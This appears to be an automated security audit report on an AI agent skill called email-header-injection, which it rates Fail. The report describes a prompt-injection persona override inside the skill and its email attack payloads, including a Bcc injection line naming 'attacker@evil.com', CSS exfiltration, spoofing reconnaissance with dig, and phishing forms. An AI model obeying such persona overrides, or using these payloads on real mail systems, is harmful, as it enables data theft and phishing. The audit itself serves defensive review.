email-header-injection
Fail
Audited by Gen Agent Trust Hub on Sep 26, 2026
Risk Level: HIGHDATA_EXFILTRATIONCOMMAND_EXECUTIONPROMPT_INJECTIONREMOTE_CODE_EXECUTION
Full Analysis
- [PROMPT_INJECTION]: The skill employs role-play instructions in the 'AI LOAD INSTRUCTION' section to force the agent into an 'Expert Attack Playbook' persona. It explicitly claims that base models lack the necessary nuance, which serves to override standard safety constraints regarding the generation of malicious email payloads.
- [DATA_EXFILTRATION]: The playbook includes specific payloads designed for silent data exfiltration, such as Bcc header injection (e.g., 'Bcc:attacker@evil.com') and CSS-based data exfiltration techniques (e.g., using background-image URLs to leak character data) that target email client rendering.
- [COMMAND_EXECUTION]: The skill provides instructions for using network diagnostic tools like 'dig' to identify and exploit vulnerabilities in domain security records (SPF, DKIM, DMARC), facilitating email spoofing and domain impersonation.
- [REMOTE_CODE_EXECUTION]: It details methods for injecting malicious HTML and form actions into email bodies, which can be used to execute phishing attacks or harvest credentials on remote attacker-controlled infrastructure.
Recommendations
- AI detected serious security threats
Audit Metadata